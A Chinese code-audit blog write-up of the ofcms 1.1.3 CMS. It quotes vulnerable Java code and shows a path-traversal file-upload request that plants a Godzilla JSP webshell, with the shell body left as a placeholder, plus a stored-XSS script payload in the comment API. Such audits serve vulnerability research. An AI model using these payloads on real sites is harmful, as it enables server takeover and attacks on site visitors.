Java代码审计篇——ofcms
2022-08-06 10:53:00 # Java # 代码审计

Java代码审计篇——ofcms

环境搭建:

参考 从零开始-IDEA部署开源CMS:ofcms1.1.4 问题及解决汇总

版本: v1.1.3

漏洞分析

后台任意文件上传

漏洞点

模板文件 -> 模板文件 -> 模板目录 -> 修改index.html

对应代码

对应的代码在ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController控制器中的save方法

image-20220806110022744

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
* 保存模板
*/
public void save() {
String resPath = getPara("res_path");
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath());
}
String dirName = getPara("dirs");
if (dirName != null) {
pathFile = new File(pathFile, dirName);
}
String fileName = getPara("file_name");
// 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
String fileContent = getRequest().getParameter("file_content");
fileContent = fileContent.replace("&lt;", "<").replace("&gt;", ">");
File file = new File(pathFile, fileName);
FileUtils.writeString(file, fileContent);
rendSuccessJson();
}

这里是直接通过上传文件,来替换掉原文件来达到修改文件的功能。但是没有对传入的file_namefile_content进行过滤,导致可以直接任意上传文件

如果resPath=res,那么新建文件的位置就在resource/defaultfile_name=../../static/le1a.jsp

image-20220806112003716

如果respath=空,那么新建文件的位置就在WEB-INF/page/default,file_name=../../../static/le1a.jsp

image-20220806112810995

默认res是空的,这里直接抓包修改file_name=../../../static/le1a.jsp,然后发包

1
file_path=F%3A%5CCTF2%5Capache-tomcat-9.0.58%5Cwebapps%5Cofcms_admin_war%5CWEB-INF%5Cpage%5Cdefault%5Cindex.html&dirs=%2F&res_path=&file_name=../../../static/le1a.jsp&file_content=哥斯拉jsp马的url编码

image-20220806122436172

image-20220806114726959

image-20220806122636469

存储型XSS

评论接口 ofcms-api/src/main/java/com/ofsoft/cms/api/v1/CommentApi.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/**
* 评论接口
*
* @author OF
* @date 2019年2月24日
*/
@Action(path = "/comment")
public class CommentApi extends ApiBase {
/**
* 获取内容信息
*/
@ApiMapping(method = RequestMethod.GET)
@ParamsCheck(
{@ParamsCheckType(name = "comment_content"), @ParamsCheckType(name = "content_id"),
@ParamsCheckType(name = "site_id")})
public void save() {
try {
Map params = getParamsMap();
params.put("comment_ip", IpKit.getRealIp(getRequest()));
Db.update(Db.getSqlPara("cms.comment.save", params));
rendSuccessJson();
} catch (Exception e) {
e.printStackTrace();
rendFailedJson();
}
}

}

在save方法中调用了getParamsMap方法,获取用户提交的所有参数。然后通过getRealIp()方法把获取到的IP写入params参数的comment_ip键,然后调用 Db.update()方法把数据更新到数据库中。在这当中没有对用户传入的comment_content进行过滤。

可以直接传入<script>alert("23333")</script>导致XSS,我本地环境好像有问题,直接网络连接失败,换了个环境测试了一下

image-20220806133638162